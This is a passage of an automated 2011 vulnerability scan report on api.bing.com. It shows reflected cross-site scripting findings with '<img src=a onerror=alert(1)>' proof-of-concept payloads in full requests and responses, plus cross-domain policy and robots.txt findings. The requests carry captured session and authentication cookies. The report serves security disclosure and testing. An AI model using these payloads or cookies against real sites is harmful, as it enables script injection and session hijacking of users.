Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110802; s_nr=1312311176422; sample=88; SRCHUID=V=2&GUID=44925DCEFF114DB48ECB6EEC07C9E24A; s_vnum=1314903164432%26vn%3D6; KievRPSAuth=FAAKARRaTOJILtFsMkpLVWSG6AN6C/svRwNmAAAEgAAACELlUj0Zq8SXyADCTIJI97WyZ4jUoPvPnWsW1CfFEGcM0Egt/hty2bwUtJBuSLYNkFeXfiQiBTXPST80LM1Dhtp%2BBer2LIAtkFVpVQibamBq7SJsIVtscp7zLxtoHeKx88dCs07viQ7v97QQGC/V9orLcC9lxzcDyQ//47CbOQVcvPGxt6RGcshKlNKXpwHj/mvBGZvixvCNkbYvH0duUofR%2BYp5Pfw0VzlX75HUWSW9%2BrYt0ZjjWVEn5yCsbMIMxO55FK126HErEdL/dimEG6DAVBQAyz4cUWr/e0cZpjmSiJuEHchQTsQ%3D; PPLState=1; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9d&W=1; NAP=V=1.9&E=b43&C=QlU9A4WTNNCvgmGpMm_4E9VacARppsw-tOodTyTsxQJWoG70N4zp2w&W=1; _FP=BDCE=129589558044752301&BDCEH=30AB6BA028C4873076E21A76E8093BC9; MUID=3D4C986A6384454BB625109214AC9BA0; _SS=SID=98C37E5ADCC54CCEB42C3EED826BF012&hIm=423; OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&flt8=0&flt9=0&flt10=0&flt11=0&ramp1=0&release=or3&preallocation=0&R=1; SRCHD=SM=1&MS=1921922&D=1849773&AF=MSN00567b96ca2e1821fa866e76f12; _UR=OMW=1; RMS=F=OAAAF; _HOP=; _RwBf=credit=-1&s=0

Response

HTTP/1.1 200 OK
Content-Length: 504
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 5ea9faf0a5e140f8a5ec18d800f7c171
Date: Sat, 27 Aug 2011 18:16:40 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Web.Offset","Value":"0a7063<img src=a onerror=alert(1)>0f1536afb5e","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/ms
...[SNIP]...

1.9. http://api.bing.com/json.aspx [Web.Options parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /json.aspx

Issue detail

The value of the Web.Options request parameter is copied into the HTML document as plain text between tags. The payload 87bb1<img%20src%3da%20onerror%3dalert(1)>317fc63cd42 was submitted in the Web.Options parameter. This input was echoed as 87bb1<img src=a onerror=alert(1)>317fc63cd42 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing87bb1<img%20src%3da%20onerror%3dalert(1)>317fc63cd42 HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110802; s_nr=1312311176422; sample=88; SRCHUID=V=2&GUID=44925DCEFF114DB48ECB6EEC07C9E24A; s_vnum=1314903164432%26vn%3D6; KievRPSAuth=FAAKARRaTOJILtFsMkpLVWSG6AN6C/svRwNmAAAEgAAACELlUj0Zq8SXyADCTIJI97WyZ4jUoPvPnWsW1CfFEGcM0Egt/hty2bwUtJBuSLYNkFeXfiQiBTXPST80LM1Dhtp%2BBer2LIAtkFVpVQibamBq7SJsIVtscp7zLxtoHeKx88dCs07viQ7v97QQGC/V9orLcC9lxzcDyQ//47CbOQVcvPGxt6RGcshKlNKXpwHj/mvBGZvixvCNkbYvH0duUofR%2BYp5Pfw0VzlX75HUWSW9%2BrYt0ZjjWVEn5yCsbMIMxO55FK126HErEdL/dimEG6DAVBQAyz4cUWr/e0cZpjmSiJuEHchQTsQ%3D; PPLState=1; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9d&W=1; NAP=V=1.9&E=b43&C=QlU9A4WTNNCvgmGpMm_4E9VacARppsw-tOodTyTsxQJWoG70N4zp2w&W=1; _FP=BDCE=129589558044752301&BDCEH=30AB6BA028C4873076E21A76E8093BC9; MUID=3D4C986A6384454BB625109214AC9BA0; _SS=SID=98C37E5ADCC54CCEB42C3EED826BF012&hIm=423; OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&flt8=0&flt9=0&flt10=0&flt11=0&ramp1=0&release=or3&preallocation=0&R=1; SRCHD=SM=1&MS=1921922&D=1849773&AF=MSN00567b96ca2e1821fa866e76f12; _UR=OMW=1; RMS=F=OAAAF; _HOP=; _RwBf=credit=-1&s=0

Response

HTTP/1.1 200 OK
Content-Length: 541
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 75ca1965218e4eebae85d1b8e023209b
Date: Sat, 27 Aug 2011 18:16:41 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Web.Options.WebSearchOption","Value":"DisableHostCollapsing87bb1<img src=a onerror=alert(1)>317fc63cd42","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/ms
...[SNIP]...

1.10. http://api.bing.com/qsonhs.aspx [q parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /qsonhs.aspx

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload c2aee<img%20src%3da%20onerror%3dalert(1)>2af30653633 was submitted in the q parameter. This input was echoed as c2aee<img src=a onerror=alert(1)>2af30653633 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /qsonhs.aspx?FORM=ASAPIW&q=c2aee<img%20src%3da%20onerror%3dalert(1)>2af30653633 HTTP/1.1
Host: api.bing.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bing.com/search?q=xss&go=&form=HSBHOT
Cookie: MUID=360F843730F542A7A6E2E0ACB7BADB9D; SRCHD=MS=1921902&SM=1&D=1740336&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110802; _UR=OMW=1; s_nr=1312290895342; s_vnum=1314882805849%26vn%3D4; _FP=; SRCHUID=V=2&GUID=8780E71E0A4046339EAFFD69955CD108; _SS=SID=F21B275EC6E747348FE9DFD52E59A45A&hIm=423&CW=1122&CH=444; RMS=F=O

Response

HTTP/1.1 200 OK
Content-Length: 79
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 4b9dc09b956d4fb3adb6e34e1616dc36
Date: Sat, 27 Aug 2011 16:00:24 GMT
Connection: close

{"AS":{"Query":"c2aee<img src=a onerror=alert(1)>2af30653633","FullResults":0}}

2. Flash cross-domain policy  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://api.bing.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: api.bing.com

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Content-Length: 634
Content-Type: text/xml
Last-Modified: Fri, 01 Oct 2010 21:58:33 GMT
ETag: A06DD1053D1686DFCEF21D90E3BAD7190000027A
P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml"
Date: Sat, 27 Aug 2011 16:00:23 GMT
Connection: close
Set-Cookie: _MD=alg=m2&C=2011-08-27T16%3a00%3a22; expires=Tue, 06-Sep-2011 16:00:22 GMT; domain=.bing.com; path=/

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-http-request-headers-from domain="*.bing.com" he
...[SNIP]...
<allow-access-from domain="*.bing.com"/>
...[SNIP]...
<allow-access-from domain="blstc.msn.com"/>
...[SNIP]...
<allow-access-from domain="stc.sandblu.msn-int.com"/>
...[SNIP]...

3. Silverlight cross-domain policy  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://api.bing.com
Path:   /clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which uses a wildcard to specify allowed domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Issue background

The Silverlight cross-domain policy controls whether Silverlight client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Silverlight cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: api.bing.com

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Content-Length: 348
Content-Type: text/xml
Last-Modified: Tue, 09 Feb 2010 19:32:41 GMT
ETag: 3B4046BBE5F127E45C1A35A93B86C3890000015C
P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml"
Date: Sat, 27 Aug 2011 16:00:23 GMT
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="*.bing.com"/>
</allow-from>

...[SNIP]...

4. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://api.bing.com
Path:   /qsonhs.aspx

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: api.bing.com

Response

HTTP/1.0 200 OK
Content-Length: 2268
Content-Type: text/plain
Last-Modified: Wed, 20 Jul 2011 20:34:26 GMT
X-Akamai-TestID: b8a09b6536cd4ed8a098dc16afc98616
Cache-Control: public, max-age=15552000
Date: Sat, 27 Aug 2011 16:00:23 GMT
Connection: close

User-agent: *
Disallow: /bmi/
Disallow: /BVFrame.aspx
Disallow: /BVSandbox.aspx
Disallow: /cashback/admin
Disallow: /cashback/go
Disallow: /challenge
Disallow: /community/forums/tags
Disallow:
...[SNIP]...

Report generated by XSS.CX at Sat Aug 27 12:20:16 GMT-06:00 2011.